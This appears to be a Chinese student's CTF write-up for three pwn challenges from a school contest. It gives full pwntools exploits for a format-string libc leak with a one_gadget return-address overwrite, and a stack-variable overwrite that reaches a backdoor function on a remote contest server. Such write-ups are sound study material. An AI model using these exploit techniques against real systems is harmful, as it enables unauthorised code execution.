校赛结束了,PWN题就做出来一个贼简单的题,羞愧,反省ing

pwn1

这道题直接nc,然后ls,cat flag就出来了

pwn1

pwn2

放到ida里面看一下,就几行代码,看起来貌似很简单的亚子(并不)

pwn2

没有后门函数,我就想到了泄露libc,但没想到会涉及到onegadget(我知道它,但我不知道什么时候用,比如这次)


因为要泄露libc就要想到公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址!那我们就要找到函数的偏移地址,先泄露函数的真实地址


1
2
3
4
5
6
7
8
9
10
11
from pwn import*

c = process('./22')

elf = ELF('./22')
read_got = elf.got['read']
payload= '%9$saaaa'+p64(read_got) #偏移是%8,又加上'aaaa'所以这里写为%9
c.sendline(payload)
read_addr=u64(c.recvuntil('aaaa')[:-4].ljust(8,'\x00'))
print(hex(read_addr))
c.interactive()

pwn2

然后介绍一个网页libc database search可以查找函数的偏移地址

pwn2

之后我们需要将read_got写到栈上,而基址=_read地址-偏移地址

找one_gadget的偏移地址(查看libc版本 ldd xxx)

pwn2

exp如下(参考了lxy大佬的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
c = process('./22')
elf = ELF('./22')

read_got = elf.got['read']
payload = '%9$saaaa'+p64(read_got)
c.sendline(payload)
read_addr=u64(c.recvuntil('aaaa')[:-4].ljust(8,'\x00')) #泄露read函数地址
libcbase=read_addr-0xf7250

payload='x%pbbbb'
c.sendline(payload)
c.recvuntil('x')
stack_addr=int(c.recvuntil('bbbb')[:-4],16)
ret_addr=stack_addr+0x118 #buf处在栈上偏移为0x110+0x8

one=0xf1147 #见图pwn2-4.png
one_addr=one+libcbase

print(hex(read_addr))
print(hex(one_addr))
print(hex(ret_addr))

payload='%'+str(one_addr&0xff)+'d'+'%10$lln'+(7-len(str(one_addr&0xff)))*'c'+p64(ret_addr)
c.sendline(payload) #一次覆盖一字节

sleep(1)
payload='%'+str((one_addr&0xff00)>>8)+'d'+'%10$lln'+(7-len(str((one_addr&0xff00)>>8)))*'d'+p64(ret_addr+1)
c.sendline(payload)

sleep(1)
payload='%'+str((one_addr&0xff0000)>>16)+'d'+'%10$lln'+(7-len(str((one_addr&0xff0000)>>16)))*'e'+p64(ret_addr+2)
c.sendline(payload)

sleep(1)
payload='%'+str((one_addr&0xff000000)>>24)+'d'+'%10$lln'+(7-len(str((one_addr&0xff000000)>>24)))*'f'+p64(ret_addr+3)
c.sendline(payload)

sleep(1)
payload='%'+str((one_addr&0xff00000000)>>32)+'d'+'%10$lln'+(7-len(str((one_addr&0xff00000000)>>32)))*'g'+p64(ret_addr+4)
c.sendline(payload)
#需覆盖的地址一共6字节
sleep(1)
c.sendline('a\x00')
sleep(1)
c.sendline('a\00') #发送两次水循环
c.interactive()

pwn3

放在ida里面看一下,就几行代码

pwn3

还能找到后门函数

pwn3

去看了一下v2,v3

pwn3

我当时看保护的时候,没看到cannary,然后我就直接想把v2地址覆盖掉,但发现不行,然后我怀疑是循环的问题,我就谷歌,巴巴巴巴,发现还是没用,害,心态都崩了。

最后在zyf大佬的指点下,原来还是有cannary,我们只要把v2改成0x40就可以绕过cannary(呜呜呜呜呜呜果然还是我还是太笨)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'
c = remote('49.235.243.206',10503)
#c = process('./33')
#gdb.attach(c)

sysaddr = 0x004007FB


payload = ''
payload +=p64(sysaddr)
c.send('a'*0x20)
sleep(1)
c.send(p64(0x40))
sleep(1)
c.sendline(payload)
c.interactive()